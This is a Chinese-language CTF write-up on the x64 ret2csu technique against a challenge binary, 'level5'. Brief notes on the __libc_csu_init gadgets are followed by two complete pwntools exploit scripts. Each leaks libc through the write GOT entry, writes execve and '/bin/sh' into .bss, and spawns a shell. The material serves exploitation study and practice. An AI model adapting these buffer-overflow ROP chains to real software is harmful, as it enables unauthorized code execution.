x64 | libc_csu_init原理
rbp-rbx!=0为假则按红箭头走。
add esp,8,相当于
下图有误(特此勘正):在loc_4011DE与p64(rbx)之间还有8'b',这也是由于sub esp,8造成的
例题
objdump -h level5
可以看到.bss可写,在level5放入IDA中,Shift+ F12无"/bin/sh",也无system函数,需要自己构造
ctf-wiki上的脚本没跑通,主要是参数放反了
from pwn import *
#from LibcSearcher import LibcSearcher
#import time
context.log_level='debug'
context.arch='amd64'
context.os='Linux'
p=process('./level5')
elf=ELF('./level5')
bss_base=elf.bss()
gad1=0x0000000004011DE
gad2=0x0000000004011C8
offset=0x80
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=elf.symbols['main']
def csu_rop(rbx,rbp,r12,r13,r14,r15,ret,offset):
payload=(offset+0x8)*"a"
payload+=p64(gad1)
payload+='b'*8 #fake pop because of add esp,8
payload+=p64(rbx)
payload+=p64(rbp)
payload+=p64(r12)
payload+=p64(r13)
payload+=p64(r14)
payload+=p64(r15)
payload+=p64(gad2)
payload+=(0x38)*'c'
payload+=p64(ret)
p.send(payload)
#sleep(1)
## write(1,write_got,8)
p.recvuntil('Hello, World
')
csu_rop(0,1,write_got,1,write_got,8,main_addr,offset)
write_addr=u64(p.recv(8))
#libc = LibcSearcher('write', write_addr)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = write_addr - libc.symbols['write']
execve_addr = libc_base + libc.symbols['execve']
#log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/shx00
p.recvuntil('Hello, World
')
csu_rop(0, 1, read_got, 0, bss_base, 16,main_addr,offset)
#p.recvuntil('Hello, World
')
p.send(p64(execve_addr) + '/bin/shx00')
p.recvuntil('Hello, World
')
## execve(bss_base+8)
csu_rop(0, 1,bss_base,bss_base+8,0,0,main_addr,offset)
p.interactive()
已下为大佬偏有宸机的参考脚本:
# #coding:utf-8
from pwn import *
sh = process("./level5")
elf = ELF("./level5")
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gadget1 = 0x00000000004011DE
gadget2 = 0x00000000004011C8
write_got = elf.got['write']
main_addr = elf.symbols['main']
print "write_got:"+ hex(write_got)
print "main_Addr:"+ hex(main_addr)
def csu(r12,r13,r14,r15,ret_addr):
payload = "a"*136
payload += p64(gadget1)
payload += 'b'*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r13)#参数1
payload += p64(r14)#参数2
payload += p64(r15)#参数3
payload += p64(gadget2)
payload += 'c' * 0x38
payload += p64(ret_addr)
sh.sendline(payload)
###第一次溢出,泄露write函数的地址
sh.recvuntil("Hello, World
")
csu(write_got,1,write_got,8,main_addr)
#利用write函数(因为gadget2中的代码为call,所以必须为write函数的got地址)
#来读取write的got表内容,向后读取8个字节,然后返回至main住花鸟属
write_addr = u64(sh.recv(8))
#接收数据,并解包
print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)#偏移地址
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)
####第二次溢出,利用read函数写入execve()+/bin/sh
read_addr = elf.got['read']
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main_addr)
#读取用户输入的数据到指定的bss地址,写入16个字节
sh.recvuntil("Hello, World
")
#gdb.attach(sh)
sh.send(p64(execve_addr)+'/bin/shx00')
#发送execve的地址加上/bin/sh到bss段
print "bss_addr:",hex(bss_addr)
###第三次溢出,调用bss地址内的代码
sh.recvuntil("Hello, World
")
csu(bss_addr,bss_addr+8,0,0,main_addr)
#也就是利用gadget2中的call 来获取权限
sh.interactive()
攻击效果
https://oneda1sy.gitee.io/2020/02/03/rop-ret2csu/
https://www.cnblogs.com/Ox9A82/p/5487725.html
https://eqqie.cn/index.php/moectf_note/229/
https://www.jianshu.com/p/73fff078c19c